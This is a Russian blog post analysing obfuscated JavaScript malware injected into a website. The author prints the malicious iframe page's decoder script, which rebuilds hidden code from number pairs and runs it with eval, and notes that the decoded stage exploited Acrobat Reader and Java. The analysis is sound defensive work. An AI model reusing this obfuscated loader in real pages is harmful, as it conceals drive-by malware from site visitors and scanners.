Pull to refresh

Идентификация javascript зловреда

Reading time3 min
Views3.2K
На одном сайте на поддержке в js был обнаружен странный код, точнее было понятно что это зловред: аваст выдал предупреждение, а консоль показала что есть соединение с несколькими левыми сайтами.

Как вредоносный код попал на сайт не так важно, предполагаемая дыра уже закрыта, но, прежде чем окончательно удалять код, я решил посмотреть что же он такого делает.

Итак, имеется три строки зашифрованного кода, возьмём, для примера, первую из них.
Расшифровывать такие скрипты можно с помощью различных онлайн-сервисов, но я же, когда пытался расшифровать дальше, наткнулся на замечательную программу, которая позволяет тратить на это меньше времени.

Расшифрованный скрипт становится намного понятнее, что интересно, обращение к сайту производилось на событие «document.onmousemove», поэтому, скорее всего, бот этот скрипт и не обнаружит.

Все три скрипта вели на сайты, домены которых были зарегистрированы в DyDNS, что не позволяет отследить этого человека, что нам и не требовалось, но было бы приятным дополнением.

Ок, теперь интересно, а что именно подгружает с сайта этот скрипт, это оказывается ещё одна обфусцированная js'ка. Мы уже знаем как определить настоящее предназначение скрипта, и не обнаруживаем ничего интересного в коде: подгружается айфрейм, в котором, как я думал, всё просто. Однако, ответ сервера меня очень удивил, там было огромное неясно что. В этом я и решил покопаться ручками, потому что волшебная программка не смогла помочь.

Интересными были и части html
<body id="eval">
<input type="text" value="innerHTML" id="bOHYVBO5">
<div id="length" style="visibility:hidden">

и скрипты
<script>
EPPkAnzs=document;
EPPkAnzs.wxdQzk0q=function(shjZdTvV){return EPPkAnzs.getElementById(shjZdTvV);};
EPPkAnzs.Wul6s0M=function(shjZdTvV){return EPPkAnzs["getElementsB@@@@@@@@@@yTagName".replace("@@@@@@@@@@","")](shjZdTvV);};
ZYpi6j9=EPPkAnzs.Wul6s0M("div")[0].id;
function SJHTBM(Y7vWZr3R,YCYqLvHz){return Y7vWZr3R.concat(YCYqLvHz);}
HALnMi=function(Y7vWZr3R,YCYqLvHz,DiZpr){return Y7vWZr3R.substr(YCYqLvHz,DiZpr);};
qo5mOv=EPPkAnzs.Wul6s0M("div")[1][EPPkAnzs.wxdQzk0q("bOHYVBO5").value];
vOm2xcMs = "D.a[-PREfb6)lIN%{c4 V&s>}yJ2?*8!=Yo0+9Zu7_dO$|\\'x<nUAG^]j;M31e/gCtHL5wvKh@\"#W,rpmSFi:zTqBQk(X";
wM16vq="";
lA8KxT38=qo5mOv[ZYpi6j9];
FBVE8K4W=0;
i=0;
gTjSM=[];
while(FBVE8K4W<lA8KxT38){
gTjSM[i] = HALnMi(qo5mOv,FBVE8K4W,2);
FBVE8K4W=2+FBVE8K4W;
i++;
}
i=0;
while(i<gTjSM[ZYpi6j9]){
iidteUpd=HALnMi(vOm2xcMs,gTjSM[i],1);
wM16vq=SJHTBM(wM16vq,iidteUpd);
i++;
}
</script>
<script>
if(EPPkAnzs.Wul6s0M("div")[0].id==="length")this[EPPkAnzs.Wul6s0M("body")[0].id](wM16vq);;
</script>


Для начала я решил всё это упростить, чтобы не смотреть на беспорядочный набор букв. Первое, что просится — это заменить везде «EPPkAnzs» на «document», выполнить очевидное, «getElementsB@@@@@@@@@@yTagName».replace("@@@@@@@@@@","") заменить на «getElementsByTagName» и так далее. Затем начал упрощать названия функций и подставлять необходимые значения.
Неудобочитаемое «qo5mOv=EPPkAnzs.Wul6s0M(»div")[1][EPPkAnzs.wxdQzk0q(«bOHYVBO5»).value];" превратилось в понятное «big_text=document.getElementsByTagName(»div")[1][«innerHTML»];"
После всех этих достаточно нехитрых манипуляций стал очевиден коварный замысел скриптописателя, циклом он пробегался по верхнему куску цифр, дробил их по две и брал букву соответствующей позиции из строки символов. Когда всё стало ясно, то я просто eval'ом вывел результат и немного его отформатировал.
Бегло пробежавшись по скрипту, я увидел что используются уязвимости Acrobat Reader'а и Java.

На этом я успокоился и с чистой совестью удалил все упоминания зловреда. Проверяйте популярные плагины на защищённость и оперативно обновляйте, чтобы не пришлось устраивать такие квесты.
Tags:
Hubs:
+32
Comments10

Articles

Change theme settings